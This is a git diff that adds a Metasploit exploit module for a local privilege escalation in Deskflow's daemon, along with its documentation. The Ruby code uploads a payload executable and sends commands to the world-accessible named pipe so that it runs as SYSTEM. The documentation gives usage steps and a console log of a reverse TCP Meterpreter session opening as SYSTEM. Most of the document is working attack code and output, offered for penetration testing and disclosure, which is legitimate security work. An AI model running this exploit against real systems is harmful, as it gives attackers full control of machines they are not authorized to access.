diff --git a/documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md b/documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md new file mode 100644 index 0000000000000..77b709b8cf354 --- /dev/null +++ b/documentation/modules/exploit/windows/local/deskflow_ipc_lpe.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +Deskflow (formerly Synergy) is an open-source keyboard and mouse sharing +application. The Deskflow daemon runs as `NT AUTHORITY\SYSTEM` and creates +a named pipe `\\.\pipe\deskflow-daemon` with a world-accessible DACL +(`WorldAccessOption` enabled). + +Any local unprivileged user can connect to the pipe and issue IPC commands +without authentication. Sending `command=`, `elevate=yes`, and `start` +causes the daemon to execute the specified binary as `NT AUTHORITY\SYSTEM`. + +Affected versions: + +- Deskflow stable **v1.20.0** +- Deskflow continuous build **v1.26.0.134** + +## Verification Steps + +1. Start `msfconsole` +2. Obtain a Meterpreter session on the target as a normal (non-admin) user on + a machine running Deskflow +3. `use exploit/windows/local/deskflow_ipc_lpe` +4. `set SESSION ` +5. `set LHOST ` +6. `run` +7. A new Meterpreter session running as `NT AUTHORITY\SYSTEM` should open + +## Options + +### WaitTimeout (advanced) + +Number of seconds to wait for the SYSTEM session callback after triggering +the named pipe. Default: `45`. + +## Scenarios + +### Windows 10 22H2 x64, Deskflow v1.26.0.134 + +``` +[msf](Jobs:0 Agents:1) exploit(multi/handler) >> use windows/local/deskflow_ipc_lpe +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> set session 11 +session => 11 +[msf](Jobs:0 Agents:1) exploit(windows/local/deskflow_ipc_lpe) >> run +[*] Started reverse TCP handler on 172.16.126.1:4444 +[*] Uploading payload to C:\Users\katana\AppData\Local\Temp\9qPAnf67.exe... +[*] Triggering escalation via deskflow-daemon named pipe... +[*] Waiting 45s for SYSTEM session... +[*] Sending stage (230982 bytes) to 172.16.126.135 +[+] SYSTEM session 12 opened +[*] Meterpreter session 12 opened (172.16.126.1:4444 -> 172.16.126.135:1370) at 2026-04-23 06:04:16 +0100 + +(Meterpreter 12)(C:\Windows\system32) > getuid +Server username: NT AUTHORITY\SYSTEM +(Meterpreter 12)(C:\Windows\system32) > + +``` diff --git a/modules/exploits/windows/local/deskflow_ipc_lpe.rb b/modules/exploits/windows/local/deskflow_ipc_lpe.rb new file mode 100644 index 0000000000000..da7950d44a372 --- /dev/null +++ b/modules/exploits/windows/local/deskflow_ipc_lpe.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Deskflow Unauthenticated IPC Named Pipe Local Privilege Escalation', + 'Description' => %q{ + The Deskflow daemon runs as SYSTEM and exposes a named pipe + (\\.\pipe\deskflow-daemon) with WorldAccessOption enabled. + Any local unprivileged user can connect and send IPC commands + without authentication. Sending command=, elevate=yes, + and start causes the daemon to execute an arbitrary binary as + NT AUTHORITY\SYSTEM. Affects stable v1.20.0 and continuous + build v1.26.0.134. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Chokri Hammedi (blue0x1)' + ], + 'References' => [ + ['CVE', '2026-41477'], + ['GHSA', 'GHSA-6rx5-g478-775c'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [ + ['Windows x64', { 'Arch' => ARCH_X64 }], + ['Windows x86', { 'Arch' => ARCH_X86 }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-04-16', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_advanced_options([ + OptInt.new('WaitTimeout', [true, 'Seconds to wait for SYSTEM session callback', 45]) + ]) + end + + def check + h = pipe_open(0x80000000) # GENERIC_READ + return CheckCode::Safe('Named pipe deskflow-daemon not found') unless h + + session.railgun.kernel32.CloseHandle(h) + CheckCode::Vulnerable('Named pipe \\.\pipe\deskflow-daemon is accessible') + end + + def exploit + fail_with(Failure::NotVulnerable, 'Pipe deskflow-daemon not found') unless begin + h = pipe_open(0x80000000) + session.railgun.kernel32.CloseHandle(h) if h + h + end + + tmp_dir = session.fs.file.expand_path('%TEMP%') + payload_path = "#{tmp_dir}\\#{rand_text_alphanumeric(8)}.exe" + + print_status("Uploading payload to #{payload_path}...") + write_file(payload_path, generate_payload_exe) + register_file_for_cleanup(payload_path) + + initial_sessions = framework.sessions.keys.dup + + print_status('Triggering escalation via deskflow-daemon named pipe...') + trigger_pipe(payload_path) + + print_status("Waiting #{datastore['WaitTimeout']}s for SYSTEM session...") + deadline = Time.now + datastore['WaitTimeout'].to_i + Rex::ThreadSafe.sleep(2) until (framework.sessions.keys - initial_sessions).any? || Time.now >= deadline + + new_session_id = (framework.sessions.keys - initial_sessions).first + print_good("SYSTEM session #{new_session_id} opened") if new_session_id + end + + private + + PIPE_NAME = '\\\\.\\pipe\\deskflow-daemon' + GENERIC_READ_WRITE = 0xC0000000 + OPEN_EXISTING = 3 + + def pipe_open(access) + result = session.railgun.kernel32.CreateFileW( + PIPE_NAME, + access, + 0, + nil, + OPEN_EXISTING, + 0, + 0 + ) + h = result['return'] + return nil if h.nil? || h == 0xFFFFFFFF || h == 0xFFFFFFFFFFFFFFFF || h.to_i < 0 + + h + end + + def pipe_write(handle, msg) + session.railgun.kernel32.WriteFile(handle, msg, msg.bytesize, 4, nil) + end + + def trigger_pipe(exe_path) + h = pipe_open(GENERIC_READ_WRITE) + fail_with(Failure::Unreachable, 'Could not open deskflow-daemon named pipe') unless h + + rg = session.railgun + + ["command=#{exe_path}\n", "elevate=yes\n", "start\n"].each do |msg| + pipe_write(h, msg) + Rex::ThreadSafe.sleep(0.5) + end + + rg.kernel32.CloseHandle(h) + end +end